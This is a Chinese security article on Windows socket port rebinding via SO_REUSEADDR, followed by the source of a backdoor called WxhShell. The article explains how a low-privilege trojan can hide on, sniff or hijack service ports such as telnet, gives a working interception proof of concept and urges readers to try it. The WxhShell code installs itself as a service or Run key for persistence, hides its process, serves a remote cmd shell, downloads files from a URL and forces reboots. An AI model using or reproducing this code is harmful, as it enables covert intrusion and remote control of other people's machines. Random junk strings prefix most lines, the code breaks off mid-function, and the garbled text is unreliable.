在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
{OOt+U! s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
fo.m&mKgo E(@;p%: saddr.sin_family = AF_INET;
+RkYW*|$S }$-VI\96 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Cu:Zn% )hug<D *h bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
gNwXOd u z'lNO| nU 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
`y`xk<q ~S3eatM$9 这意味着什么?意味着可以进行如下的攻击:
+a/o)C{ o(P:f)B 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
akQH+j %U
GlAyj 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
/<0D
E22 IMza
2 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
$J6.a!5IE Z+"&{g 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
3ZlI$r( "NU".q 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
er0D5f R g5Rm!T+@I< 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
2~V Im#
U[b;#Y1X 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
]%|WE sw|:Z(` #include
iwQ-(GjM[A #include
9Yyg}l: #include
J\3} il
N #include
vLuQe0l{ DWORD WINAPI ClientThread(LPVOID lpParam);
(0W}e(D8
int main()
ht)nx,e= {
D a[C'm= WORD wVersionRequested;
gvNZrp>e! DWORD ret;
5L}>+js2 WSADATA wsaData;
B#"|5 BOOL val;
>&QH{!( SOCKADDR_IN saddr;
H@E ")@92 SOCKADDR_IN scaddr;
YM`pNtQ int err;
UglG!1L SOCKET s;
;9 ,mV(w SOCKET sc;
V wVQ|UH int caddsize;
]"Y%M' HANDLE mt;
=nx:GT3&[ DWORD tid;
cEc,eq| wVersionRequested = MAKEWORD( 2, 2 );
qQOD err = WSAStartup( wVersionRequested, &wsaData );
zN+*R;Ds if ( err != 0 ) {
UVc<C
1q printf("error!WSAStartup failed!\n");
RR!!hY3 K return -1;
.^lbLN^2 }
pP* ~ =? saddr.sin_family = AF_INET;
EB5_; ]A72)1 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
X@qk> / vM7v f6 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
vA"niO saddr.sin_port = htons(23);
Y^2Qxo3"3 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
ZBmXaP[9 {
F|?'9s*;6G printf("error!socket failed!\n");
XDkS
^9 return -1;
/Pn.)Lxfl }
/Y[o=Uyl val = TRUE;
ZSPgci //SO_REUSEADDR选项就是可以实现端口重绑定的
oWDSK^ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
')5L_$ {
h zZ-$IX X printf("error!setsockopt failed!\n");
W&e'3gk _ return -1;
N(:nF5>_ }
5,
-pBep< //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
5'X74` //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
1GG>.RCP //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
e)HhnN@ W ""*hJ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
2"leUur~rO {
A{z>D`d ret=GetLastError();
PNbcy!\U printf("error!bind failed!\n");
L/q]QgCoA return -1;
>'aG/( }
-J"qrpZ^ listen(s,2);
7-".!M while(1)
'7Mep
] {
VyecTU"W caddsize = sizeof(scaddr);
n .f4z< //接受连接请求
ZT) !8 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
ofMu3$Q if(sc!=INVALID_SOCKET)
By?nd) {
^^7L"je]g mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
}+Rgx@XZ\ if(mt==NULL)
i}PK$sa#c {
M=5d95*-} printf("Thread Creat Failed!\n");
5/B#) gm break;
\G$QNUU }
^I X%dzM }
O87"[c`> CloseHandle(mt);
7hB#x]oQo }
6OL41g' closesocket(s);
{Q5KV%F_ WSACleanup();
#^|| ]g/N return 0;
^Xs%.`Gv/ }
HLjvKE=W DWORD WINAPI ClientThread(LPVOID lpParam)
z)4UMR#b& {
9p<:=T SOCKET ss = (SOCKET)lpParam;
7:n?PN(p6a SOCKET sc;
gjW\
XY unsigned char buf[4096];
A LXUaE. SOCKADDR_IN saddr;
+7V=aNRlE long num;
:?HSZocf DWORD val;
\V]t!mZ-}l DWORD ret;
Z6
;Wd_ //如果是隐藏端口应用的话,可以在此处加一些判断
di7A/B //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
RX:R*{]- saddr.sin_family = AF_INET;
hZcmP"wgC1 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
N99[.mErU saddr.sin_port = htons(23);
gs?8Wzh90* if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
U+-F*$PO+ {
pvlDjj} printf("error!socket failed!\n");
n_v02vFAHT return -1;
E W`W~h[ }
rwy+~ val = 100;
G'u|Q
mb1 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
'=VH6@vZ_' {
elu=9d];@ ret = GetLastError();
iHPUmTus-- return -1;
KYp[Gs }
gNqAj# m if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
4sTMgBzw {
:vpl+)n ret = GetLastError();
42&v% ;R return -1;
}3Qc 24` }
`?l3Ct* if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
E>E*ZZuhj {
g0PT8]8 printf("error!socket connect failed!\n");
rvwa!YY} closesocket(sc);
tAERbiH
closesocket(ss);
F>*{e return -1;
,]ga[ }
)>V?+L5M while(1)
/,!<Va;~ {
!}_b| //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
+
~"5! //如果是嗅探内容的话,可以再此处进行内容分析和记录
SrF x_n //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
6#U^<` num = recv(ss,buf,4096,0);
$E\^v^LW if(num>0)
\8{\;L C send(sc,buf,num,0);
'S*k_vuN else if(num==0)
Sm)u9 break;
7\Co`J>p2 num = recv(sc,buf,4096,0);
R:M,tL-l if(num>0)
^ *0'\/N& send(ss,buf,num,0);
0Qnd6mb else if(num==0)
wPX*%0] break;
Br!9x{q* }
V^TbP. closesocket(ss);
E$A3|rjnoN closesocket(sc);
ygzxCn|# return 0 ;
gv|"OlB }
<F(><Xw,-4 )"|||\Iv B2Z_]q$n* ==========================================================
BEUK}T K4 ; b*i3*!g 下边附上一个代码,,WXhSHELL
^AL2H' WF[bO7: ==========================================================
^nNitF
* ?]~
# #include "stdafx.h"
>P=Q #;v UG](go't #include <stdio.h>
Rko M~`CT #include <string.h>
A%XX5* #include <windows.h>
D=+NxR[ #include <winsock2.h>
D d,2;#_ #include <winsvc.h>
#+k*1Jg #include <urlmon.h>
x#*QfE/E(@ x`%JI=q #pragma comment (lib, "Ws2_32.lib")
D+RiM~LH8 #pragma comment (lib, "urlmon.lib")
Ln!A:dP}c- $n!K6fkX% #define MAX_USER 100 // 最大客户端连接数
+?dl`!rE #define BUF_SOCK 200 // sock buffer
^5; `-Ky #define KEY_BUFF 255 // 输入 buffer
yK%ebq] {A:j[ #define REBOOT 0 // 重启
oD.r`]k #define SHUTDOWN 1 // 关机
Ii&7rdoxe 'hqBo| #define DEF_PORT 5000 // 监听端口
Qk9 76 !EIjN
#define REG_LEN 16 // 注册表键长度
}4//@J?: #define SVC_LEN 80 // NT服务名长度
~xLJe`"JUx Qk1xUE // 从dll定义API
~Z'w)!h typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
oCS2E =O& typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
2RM+W2!! typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
&--ej|n typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
0#cy=*E }"^'%C8EX // wxhshell配置信息
T0z n,ej struct WSCFG {
tmUFT int ws_port; // 监听端口
o*rQP!8,oy char ws_passstr[REG_LEN]; // 口令
[*:6oo98' int ws_autoins; // 安装标记, 1=yes 0=no
pmWr]G3,* char ws_regname[REG_LEN]; // 注册表键名
wU\s;
dK char ws_svcname[REG_LEN]; // 服务名
\QE)m<GUe char ws_svcdisp[SVC_LEN]; // 服务显示名
67SV~L#%O char ws_svcdesc[SVC_LEN]; // 服务描述信息
9ZXlR?GA char ws_passmsg[SVC_LEN]; // 密码输入提示信息
wV\gj~U;P int ws_downexe; // 下载执行标记, 1=yes 0=no
={>Lrig:l char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
svf|\p>]H char ws_filenam[SVC_LEN]; // 下载后保存的文件名
qMt++*Ls PjA6Ji;Hu };
4k-+?L!/G
-!W<DJ* // default Wxhshell configuration
jw<pK4?y struct WSCFG wscfg={DEF_PORT,
7\FXz'hA "xuhuanlingzhe",
y\dEk:\) 1,
0sca4G0{ "Wxhshell",
Jc&y9]
"Wxhshell",
QTX8
L "WxhShell Service",
LJk%#yV|_ "Wrsky Windows CmdShell Service",
1$qh`<\ "Please Input Your Password: ",
Tou/5?#%e 1,
<Rh6r}f "
http://www.wrsky.com/wxhshell.exe",
JRCrZW} "Wxhshell.exe"
&nBa=Enf };
PxH72hBS ^j-3av= // 消息定义模块
^P151*=D char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
;q N+^;,2 char *msg_ws_prompt="\n\r? for help\n\r#>";
`;%]'F0` char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
L|bwZ,M=}? char *msg_ws_ext="\n\rExit.";
ZaNQpH. char *msg_ws_end="\n\rQuit.";
y6]vl=^L char *msg_ws_boot="\n\rReboot...";
Uf}\p~; char *msg_ws_poff="\n\rShutdown...";
Vz6Qxd{m3 char *msg_ws_down="\n\rSave to ";
3U_2! zF3_ &gzCteS char *msg_ws_err="\n\rErr!";
RV@*c4KvO+ char *msg_ws_ok="\n\rOK!";
[JF150zr mZd ,
9 char ExeFile[MAX_PATH];
,#pXpAz/ int nUser = 0;
kbM3 HANDLE handles[MAX_USER];
/0Ax*919j int OsIsNt;
jH_JmYd pb~pN SERVICE_STATUS serviceStatus;
^o7;c [E` SERVICE_STATUS_HANDLE hServiceStatusHandle;
V+O"j^Z_J / X1 x // 函数声明
L|p
Z$HB int Install(void);
D9M:^ int Uninstall(void);
6F e34n]m int DownloadFile(char *sURL, SOCKET wsh);
"I(xgx* int Boot(int flag);
JH7< void HideProc(void);
G37U6PuZi int GetOsVer(void);
e=.]F*:J int Wxhshell(SOCKET wsl);
wiiCd void TalkWithClient(void *cs);
aA,!<^&} int CmdShell(SOCKET sock);
i-6Z"b{ int StartFromService(void);
1YH+d0UGn int StartWxhshell(LPSTR lpCmdLine);
'3g[]M@M Dd\jHF>u VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
BqT y~{)+ VOID WINAPI NTServiceHandler( DWORD fdwControl );
I"GB<oB H-
$)3"K // 数据结构和表定义
13>0OKg`# SERVICE_TABLE_ENTRY DispatchTable[] =
d QqK^# {
ga`3 ( {wscfg.ws_svcname, NTServiceMain},
'ET~ {NULL, NULL}
4qk9NK2 U };
<*qnY7c&N; &wV]"&- // 自我安装
Q637N|01 int Install(void)
nR-YrR*k {
_WRFsDZ' char svExeFile[MAX_PATH];
w9bbMx HKEY key;
NGbG4-w- strcpy(svExeFile,ExeFile);
Eqj_m|@ 2%_vXo=I // 如果是win9x系统,修改注册表设为自启动
ATK_DEAu if(!OsIsNt) {
|EJD3& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
>7QvK3S4% RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
,Pdf,2 RegCloseKey(key);
xjKR R? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
ci?qT,& RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
)% ~OH RegCloseKey(key);
73/P&hT return 0;
oY933i@l)P }
75XJL;W # }
?B2] -+Y }
e?8HgiP- else {
J1C3&t}
~T1XLu // 如果是NT以上系统,安装为系统服务
Z$/xy" SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
R}*_~7r5 if (schSCManager!=0)
=A83W/4 {
K<>oa[B9 SC_HANDLE schService = CreateService
wAf\|{Vn (
iOW#>66d schSCManager,
&m-PC(W+ wscfg.ws_svcname,
xc=b
|:A wscfg.ws_svcdisp,
_( {hc+9p SERVICE_ALL_ACCESS,
/`wvxKX SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
[XEkz#{
SERVICE_AUTO_START,
fSK]|"c SERVICE_ERROR_NORMAL,
Vl&?U svExeFile,
{zQ8)$CQ NULL,
VY
| _dk NULL,
/_I]H NULL,
u)}$~E> NULL,
A kC1z73< NULL
TQpf Q );
5z7U1: if (schService!=0)
bDL,S?@ {
c;Pe/ d CloseServiceHandle(schService);
J^SdH&%Z CloseServiceHandle(schSCManager);
k_
& :24Lj strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
v%+:/m1 strcat(svExeFile,wscfg.ws_svcname);
JTSlWq4 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
/:~\5}tW RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
,)Me RegCloseKey(key);
)dbB=OZ return 0;
l;R%= P?'F }
$'BSH4~|. }
oM2l-[- CloseServiceHandle(schSCManager);
G_bG }
e!N:,`R
5 }
Mm.<r-b yu!h<nfzA return 1;
m0ER@BXRn }
+ga k#M"n\ +b0eE) // 自我卸载
{XR6>] int Uninstall(void)
:ubV }; {
C'\-
@/ HKEY key;
[Dk=? + '\Giv!> if(!OsIsNt) {
j9eTCJqB if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
S%bCyK%p RegDeleteValue(key,wscfg.ws_regname);
i
UCXAWP RegCloseKey(key);
27
]':A4_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
CR8/Ke RegDeleteValue(key,wscfg.ws_regname);
$?Yry.2 RegCloseKey(key);
h`KFL/fT return 0;
[Y|8\Ph`& }
|n+qMql' }
!\nBh }
z:8eEq3w else {
FQu8vwV6> e-:yb^ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
#pP[xE"Y if (schSCManager!=0)
jN{Xfjmfv {
QS%%^+E2 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
%`>nS@1zp if (schService!=0)
aZ2!i {
G,?hp>lj if(DeleteService(schService)!=0) {
'Y*E<6: CloseServiceHandle(schService);
3LAIl913 CloseServiceHandle(schSCManager);
pWy=W&0~qf return 0;
!nqUBa }
$@z5kwx:P CloseServiceHandle(schService);
'FqQzx"r }
ozmrw\_}[ CloseServiceHandle(schSCManager);
5:pM4J }
7|{}\w(I }
61SlVec*o8 n!YKz"$ return 1;
Ja,wfRq }
JLnH&(O M9!HQ // 从指定url下载文件
gRCdY8GH int DownloadFile(char *sURL, SOCKET wsh)
h]Wr [v {
'C`U"I HRESULT hr;
O{QA char seps[]= "/";
HBy[FYa4 char *token;
SQ44 char *file;
=y
[M\m char myURL[MAX_PATH];
[<2<Y char myFILE[MAX_PATH];
A#Iyb){Y O~T@rX9f strcpy(myURL,sURL);
q1z"-~i)E token=strtok(myURL,seps);
:yRo3c while(token!=NULL)
/I1h2E {
u$>4F|=T file=token;
Tu$f? token=strtok(NULL,seps);
y+X2Pl }
mtJ9nC `7 vHt` GetCurrentDirectory(MAX_PATH,myFILE);
419x+3>} strcat(myFILE, "\\");
W }8'Pf strcat(myFILE, file);
T^Y([23 send(wsh,myFILE,strlen(myFILE),0);
o^^rJk send(wsh,"...",3,0);
/q<__N hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
!B\R''J5 if(hr==S_OK)
W~zbm] return 0;
19HM])Zw\ else
'm4W}F return 1;
P#RR9>Q zfc'=ODX }
uehDIl0\[b 8"U. Hnu // 系统电源模块
6A>dhU int Boot(int flag)
W yB3ls~ {
X#*JWQO= HANDLE hToken;
N"" BCh" TOKEN_PRIVILEGES tkp;
4(|cG7>9- q?4p)@# if(OsIsNt) {
YpH&<$x: OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
e4!:c^? LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
7[> 6i tkp.PrivilegeCount = 1;
F$ #U5}Q tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
;%<,IdhN AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
X;i~<Tq if(flag==REBOOT) {
xD5:RE~g if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
VtnRgdJ return 0;
:+qF8t[L }
}q $5ig else {
yKa{08X: if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
"t(p&;d return 0;
_CmOd-y }
q=%RDG+ }
'
0J1vG~c else {
J T-J#Ag if(flag==REBOOT) {
A/u)# ^\ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
w2
a1mU/ return 0;
#73F}
tZ^ }
+z9Q-d%O else {
.#rJ+.2 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
*h'=3w:G return 0;
EdlTdn@A }
d8[J@M53|T }
~yH?=:>U Hea;?4Vg return 1;
_H j!2 ' }
RloK,bg H5Z$*4%G // win9x进程隐藏模块
ldiD2
Q void HideProc(void)
{ys=Ndo8 {
H."EUcE{ ;1%-8f:lW HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Dp)=0<$y if ( hKernel != NULL )
: cF[(i/k4 {
a-=8xs' pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
n/+.s(7c ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
- `p4-J!Fy FreeLibrary(hKernel);
gk"$,\DI }
czS+<
w n)^i/ nXb' return;
hw=
Ft4L }
u*Pibgd< v^d]~!h // 获取操作系统版本
{bJ`~b9e int GetOsVer(void)
6)Y.7 XR {
AlAY iUw{ OSVERSIONINFO winfo;
ll`>FcQ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
23RN}LUi GetVersionEx(&winfo);
59"UL\3 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
@d
mV return 1;
u>kN1k Q8 else
L"o>wYx return 0;
??M"6k }
{>DEsO j g8fU // 客户端句柄模块
A8uVK5 int Wxhshell(SOCKET wsl)
G(p`1~xm {
1~Oe=`{& SOCKET wsh;
_kU:Z struct sockaddr_in client;
<{V(.=11 DWORD myID;
eU".3`CtY 18+)`M-5o while(nUser<MAX_USER)
]:Nsf|C0 {
mlJ!:WG int nSize=sizeof(client);
GO`Ru 8 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
lku[dQdk if(wsh==INVALID_SOCKET) return 1;
[lWQ'DZ yku5SEJ\ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
q7_ m&-0) if(handles[nUser]==0)
c:<005\Bg closesocket(wsh);
y(CS5v#FG else
5,_u/5Y4 nUser++;
m1B+31'>^ }
jbVECi- WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
/&
Jan: U+:m4a return 0;
pEBM3r!X }
Cd,jDPrw QPx_- // 关闭 socket
YG@t5j#b void CloseIt(SOCKET wsh)
/Z~<CbKKl {
CE#gfP closesocket(wsh);
/?@3.3sl_ nUser--;
xTj|dza ExitThread(0);
Nl^;A><u }
]s'Q_wh_-v 6$kq aS## // 客户端请求句柄
cq}EZ@ . void TalkWithClient(void *cs)
AgS7J(^&3 {
ABQ('#78 #$18*?tLv| SOCKET wsh=(SOCKET)cs;
p1Jh0o8 char pwd[SVC_LEN];
AK'[c+2[ char cmd[KEY_BUFF];
Q.l}NtHwV char chr[1];
YC++&Nk int i,j;
^hc!FD qh9Z50E9 while (nUser < MAX_USER) {
T ]t'39 W42iu"@ if(wscfg.ws_passstr) {
n^Hm;BiE# if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
%zG;Q@ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
RL!Oi|8 //ZeroMemory(pwd,KEY_BUFF);
2bJQTk _S
i=0;
\.MR""@y`{ while(i<SVC_LEN) {
"I3@m%qv O_`VV* // 设置超时
1oR7iD^ fd_set FdRead;
K"|l@Q[ struct timeval TimeOut;
eD,.~Y#?= FD_ZERO(&FdRead);
>0/i[k-dk FD_SET(wsh,&FdRead);
EMY/~bQW TimeOut.tv_sec=8;
&S~zNl^m TimeOut.tv_usec=0;
\UPjf]& int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Gr*r=s if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
= bfJ^]R ]~9tYn if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
th pwd
=chr[0]; Bmr>n6|
if(chr[0]==0xd || chr[0]==0xa) { a=J^
pwd=0; :flx6,7D
break; ;&9)I8Us
} 2;k*@k-t
i++; |cK*~
} j'Gt&\4
%RTBV9LIXr
// 如果是非法用户,关闭 socket
?9!6%]2D
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2L3)#22m*
} LhA*F[6$M
}JF13beU
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); A
9( x
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `#rL*;\uV
8[a=OP
while(1) { s3z$e+A8
bGN:=Y'
ZeroMemory(cmd,KEY_BUFF); gH$ Mr
Vx$ \hcG
// 自动支持客户端 telnet标准 H=<S 9M
j=0; K*%9)hq
while(j<KEY_BUFF) { *w|:~g
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QA<
Rhv,
cmd[j]=chr[0]; z6U\axO6
if(chr[0]==0xa || chr[0]==0xd) { [A~y%bI"
cmd[j]=0; I4'5P}1yp
break; @3) (BpFe
} pV9IHs}
j++; y^;#&k!
} o*b] p-
N@2dA*T,
// 下载文件 ap.K=-H
if(strstr(cmd,"http://")) { WYH Q?
send(wsh,msg_ws_down,strlen(msg_ws_down),0); bn#"?6Z2
if(DownloadFile(cmd,wsh)) _tiujP
send(wsh,msg_ws_err,strlen(msg_ws_err),0); PY_u/<u
else CnU*Jb
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XeW<B0~
} \MA+f~)9
else { lNy.g{2f<m
Vy6qbC-Kt
switch(cmd[0]) { t#V!8EpBg
sQ=]NF)\
// 帮助 sGi"rg#
case '?': { S*==aftl(
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Q!o'}nA
break; u7Y
WnD
}
Us)Z^s
// 安装 ]q;Emy
case 'i': { x/NfZ5e0X
if(Install()) SbND
Y{5RO
send(wsh,msg_ws_err,strlen(msg_ws_err),0); :yL] ;J
else K`yRr`pW
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _64A(U
break; "An,Q82oHf
} w;;BSJ]+[
// 卸载 Qk0R a_
case 'r': { o@r7
n>G
if(Uninstall()) }d[ kxo
send(wsh,msg_ws_err,strlen(msg_ws_err),0); e|NG"<
else )#EGTRdo
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qaqBOHI6G
break; k|v3.< -
} =qoWCmg"&
// 显示 wxhshell 所在路径 Nu0C;B66
case 'p': { g9m-TkNk
char svExeFile[MAX_PATH]; *!4Z#Y
strcpy(svExeFile,"\n\r"); sz5MH!/PJ
strcat(svExeFile,ExeFile); ob+b<HFv
send(wsh,svExeFile,strlen(svExeFile),0); ~De"?
break; q
VjdOY:z
} 45=bGf#
// 重启 !xz eM VI
case 'b': { IrR7"`.i
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &LmJ!^#
if(Boot(REBOOT)) <m!h&_eg
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \n" {qfn`r
else { bADnW4N`6;
closesocket(wsh); 8&;UO{
ExitThread(0); [=x[ w70
} wGU*:k7p
break; q?,).x
nN
} t#yk->,
// 关机 $[9%QQk5<L
case 'd': { cec9l65d
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8a&:6Zuo
if(Boot(SHUTDOWN)) S_iMVHe
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,368d9,rDz
else { t$+?6E
closesocket(wsh); Jx_cf9{
ExitThread(0); /;{P}-H`ei
} [M?}uK ^
break; h~A/ y!s
} -Q2, "
// 获取shell 2:*w~|6>}5
case 's': { @(l^]9(V\
CmdShell(wsh); v.\*./-i
closesocket(wsh); sD<a+Lw}x
ExitThread(0); fTzvmC:g7
break; ?M$.+V{a
} z_g~
// 退出 909?_v
case 'x': { MU>k,:[
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); g6nkZyw
CloseIt(wsh); }L
&^xe
break; JgG$?n\
} =6xrfDbN8
// 离开 8][nmjk0
case 'q': { L%">iQOG#
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;g8R4!J
closesocket(wsh); Yi
.u"sh]
WSACleanup(); Wi>!{.}%A
exit(1); ~L]|?d"
break; ,/[6e\0~
} M=.:,wRm
} ]d55m /(
} JROM_>mC
J5*tJoCYS
// 提示信息 "rTQG6`
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z+
s6)Ad
} jNu9KlN
} 9Kr+\F
,_|]Ufr!a
return; KN$}tCU
} Cv
}Qwy
Ok>gh2e[c
// shell模块句柄 tc_286'x
int CmdShell(SOCKET sock) jATI&oX
{ !
N|0x`
STARTUPINFO si; "-_fv5jL
ZeroMemory(&si,sizeof(si)); L93l0eEt
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; A01AlK_B
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; R,)}>X|<
PROCESS_INFORMATION ProcessInfo; h H <J,Wn
char cmdline[]="cmd"; ##KBifU"
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `IOs-%s
return 0; :!/gk8F|dI
} -DxL 0:E
g wz7krUTe
// 自身启动模式 tcI}Ca>u
int StartFromService(void) t(GR)&>.2
{ Y^36>1.:
typedef struct jxiC
Kx,G
{ 3:5 &Aa!
DWORD ExitStatus; fKp#\tCc y
DWORD PebBaseAddress; )v]/B+
DWORD AffinityMask; =81@o,1w
DWORD BasePriority; QF-LU
